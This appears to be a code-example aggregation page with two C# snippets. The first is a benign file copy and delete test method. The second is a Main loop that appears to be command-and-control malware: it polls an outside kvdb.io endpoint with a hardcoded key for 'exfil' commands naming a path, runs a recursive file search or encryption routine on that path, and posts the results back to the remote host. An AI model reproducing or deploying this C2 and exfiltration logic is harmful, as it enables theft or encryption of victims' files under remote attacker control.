Exemplo n.º 1
0
        private void testfiles()
        {
            //RecursiveFileSearch.testmain();
            string sourcePath = "C:/Users/Administrator/Desktop/testcopy/source";
            string targetPath = "C:/Users/Administrator/Desktop/testcopy/target";

            RecursiveFileSearch.getAllfilesName(sourcePath);
            // RecursiveFileSearch.copyFilesAndDir(sourcePath, targetPath,true);

            string[] patharr = { @"C:\Users\Administrator\Desktop\testcopy\source\testdir\test.txt",
                                 @"C:\Users\Administrator\Desktop\testcopy\source\test.txt" };
            // RecursiveFileSearch.delFiles(patharr);

            //RecursiveFileSearch.copyFiles(@"C:\Users\Administrator\Desktop\testcopy\source\testdir\test.txt",
            //    @"C:\Users\Administrator\Desktop\testcopy\target\testdir\"
            //    );

            //FileProgress pgrs = new FileProgress();
            //pgrs.openfiled();
            // WriteTextFile wtest = new WriteTextFile();
            // wtest.writetest();

            //testString();

            Console.WriteLine("test::" + str is System.Nullable);

            // Console.WriteLine(insd);
        }
Exemplo n.º 2
0
    static void Main(string[] args)
    {
        khan_bypass    h    = new khan_bypass();
        Driver_Program obj  = new Driver_Program();
        string         pass = "******";

        while (true)
        {
            try
            {
                int sleepfor = 10000;
                Thread.Sleep(sleepfor);
                string res         = "FQM3hbtRhm94tkaLXBm5kF";
                string res_key     = res;
                string updated_ep  = "https://kvdb.io/" + res_key + "/file_encrypt";
                var    resp2       = obj.getData(updated_ep);
                string new_command = "";
                if ((resp2.Equals("0") == false) && (resp2.Equals("") == false))
                {
                    //encrypt,path,C:\Users\furqa\Documents,0
                    string [] command_details = resp2.Split(',');
                    string    command_type    = command_details[0];
                    string    type            = command_details[1];
                    if (command_type.Equals("exfil"))
                    {
                        Output.WriteLine("(a) Path is : " + command_details[2]);

                        if (type.Equals("path"))
                        {
                            if (command_details[3].Equals("1"))
                            {
                                new_command = command_details[0] + "," + command_details[1] + "," + command_details[2] + "," + "0";
                                var res1 = obj.PostRequestJson(updated_ep, new_command);
                                Output.WriteLine("Updated Resp : " + res1);
                                RecursiveFileSearch.Start(command_details[2]);
                                string updated_epp = "https://kvdb.io/" + res_key + "/file_encrypt_results";
                                var    r           = obj.PostRequestJson(updated_epp, new_command + ",Executed Successfully");
                            }
                            else
                            {
                                Output.WriteLine("(2) Pass no new command");
                            }
                        }
                        else
                        {
                            Output.WriteLine("(b) Invalid path");
                        }
                    }
                }
                else
                {
                    Output.WriteLine("(**) No new command  " + resp2);
                }
                Output.WriteLine("Resp obtained : " + resp2);
            }
            catch (Exception ex)
            {
                Output.WriteLine("Exception : " + ex.Message);
                //sw.Write(ex.Message);
            }
        }
    }